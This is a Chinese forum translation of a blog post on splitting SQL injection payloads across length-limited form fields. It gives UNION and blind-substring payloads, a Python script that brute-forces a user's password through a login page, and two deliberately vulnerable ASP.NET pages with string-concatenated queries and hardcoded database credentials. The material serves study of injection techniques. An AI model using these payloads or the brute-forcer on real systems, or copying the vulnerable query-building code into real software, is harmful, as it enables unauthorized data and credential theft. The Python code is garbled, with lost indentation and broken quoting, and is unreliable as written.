[译]突破sql字符限制

koflover · 发表于 2016-11-11 04:06:07

原文地址：http://www.greensql.com/blog/2011/09/shortest-sql-injection-attack/
场景1.
在本场景中，web应用程序接收first-name和last-name，然后输入匹配的Email地址(代码参考附录A)
正常发送到数据库的sql语句如下
select EmailAddress from Person.Contact where FirstName = ‘@fn’ and LastName = ‘@ln’; @fn和@ln是user的输入
攻击者可以使用下面的方法来获得数据库的名字：
‘ union select db_name();–
该字符串有27个字节
如果user的输入限制为每个field 15个字节，上述的攻击将会被封锁。即使这样，攻击者可以使用下面的字符串来绕过限制：
First Name: ‘union select/* (15 bytes)
Last Name: */db_name();– (12 bytes)
结果将是下面的查询语句：
select EmailAddress from person.contact where FirstName = ”union select/*’ and LastName = ‘*/db_name()–’;
将会导致输出数据库的名字
场景2
在本例中，攻击者攻击web接收一个username 和password，并且输出“Access Granted!”或“Access Denied!”。web程序限制每个输入域为20个字节。但是web程序之检查user输入从长度(附录B)
应用程序发送如下查询：
select count(*) from dbo.users where UserName = ‘@un’ and Password = ‘@pass’; @un和@pass是用户输入
为了暴力破解david的密码的第一个字节，攻击者发送如下字符串：
· User Name: david’and substring/*
· Password: */(password,1,1)=’p
攻击将导致如下查询：
select count(*) from dbo.users where UserName = ‘david’and substring/*’ and Password = ‘*/(password,1,1)=’p';
如果password的第一个字符是'p',那么返回1，否则返回0.为了保留破解david的密码，攻击者可以使用如下python脚本

##################################################
## GreenSQL 2-fields SQL Injection Attack    ##
##          Password Brute Forcer          ##
##             Proof-of-Concept             ##
##  This code is for educational purposes only  ##
##################################################
import urllib
un = 'david'and substring/*'
i=0
CurrChr = 0
password = ""
for index in range(1,40):
if CurrChr == 125:
break
for CurrChr in range(32,126):
pswd = '*/(password,' + str(index) + ',1)='' + chr(CurrChr)
args = {'UserName':un,'Password':pswd}
encoded_args = urllib.urlencode(args)
url = 'http://127.0.0.1:54213/WebSite1/Authentication.aspx'
print "Sending: ", index, "X", chr(CurrChr)
f = urllib.urlopen(url, encoded_args)
contents = f.read()
f.close()
if (contents.find('Access Granted') != -1):
password = password + chr(CurrChr)
print "Password: ", password
CurrChr =1
break

附录 A - Web Application #1 Source Code
===========================================
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<html>
<head><title>Shortest</title></head>
<body>
<form id = "f" method="post" action="shortest.aspx">
First Name: <input name = "FirstName" type="text" maxlength="15" />(maxlength: 15) <br />
Last Name: <input name = "LastName" type="text" maxlength="15"/>(maxlength: 15) <br />
<input id="submit" type="submit" value="Get Email" />
</form>
<%
string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
DataSet ds = new DataSet();
string fn = "";
fn = Request.Form["FirstName"];
string ln = "";
ln = Request.Form["LastName"];
if (fn.Length <= 15 && ln.Length <= 15)
{
string command = "select EmailAddress from person.contact where FirstName = '" + fn + "' and LastName = '" + ln + "';";
SqlDataAdapter data = new SqlDataAdapter(command, conn);
data.Fill(ds);
Response.Write("<table>");
foreach (DataRow row in ds.Tables[0].Rows)
{
Response.Write("<tr>");
foreach (DataColumn col in ds.Tables[0].Columns)
{
Response.Write("<th>");
Response.Write(row[col]);
Response.Write("</th>");
}
Response.Write("</tr>");
}
Response.Write("</table>");
Response.Write(command);
if (fn != null && ln != null)
Response.Write("<br />FirstName: " + fn + "(" + fn.Length.ToString() + ")<br />LastName: " + ln + "(" + ln.Length.ToString() + ")<br />Total Length: " + (fn.Length + ln.Length).ToString());
}
else
{
Response.Write("Username and Passwords are limited to 15 characters maximum!");
}
%>
</body>
</html>

附录B– Web Application #2 Source Code
===========================================
<%@ Page Language="C#" Debug="true" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<html>
<head><title>Shortest</title></head>
<body>
<form id = "f" method="post" action="Authentication.aspx">
Username: <input name = "UserName" type="text" maxlength="20" />(maxlength: 20) <br />
Password: <input name = "Password" type="text" maxlength="20"/>(maxlength: 20) <br />
<input id="submit" type="submit" value="Authenticate" />
</form>
<%
string conn = "server=david-PC; uid=GreenSQL; pwd=GreenSQL; database=AdventureWorks; Connect Timeout=10000";
DataSet ds = new DataSet();
string un = "";
un = Request.Form["Username"];
string pass = "";
pass = Request.Form["Password"];
if (un.Length <= 20 && pass.Length <= 20)
{
string command = "select count(*) from dbo.users where UserName = '" + un + "' and Password = '" + pass + "';";
SqlDataAdapter data = new SqlDataAdapter(command, conn);
data.Fill(ds);
Response.Write("<table>");
foreach (DataRow row in ds.Tables[0].Rows)
{
Response.Write("<tr>");
foreach (DataColumn col in ds.Tables[0].Columns)
{
if (System.Convert.ToInt32(row[0]) > 0)
Response.Write("Access Granted!");
else
Response.Write("Access Denied!");
}
Response.Write("</tr>");
}
Response.Write("</table>");
Response.Write(command);
if (un != null && pass != null)
Response.Write("<br />UserName: " + un + "(" + un.Length.ToString() + ")<br />Password: " + pass + "(" + pass.Length.ToString() + ")<br />Total Length: " + (un.Length + pass.Length).ToString());
}
else
{
Response.Write("Username and Passwords are limited to 15 characters maximum!");
}
%>
</body>
</html>

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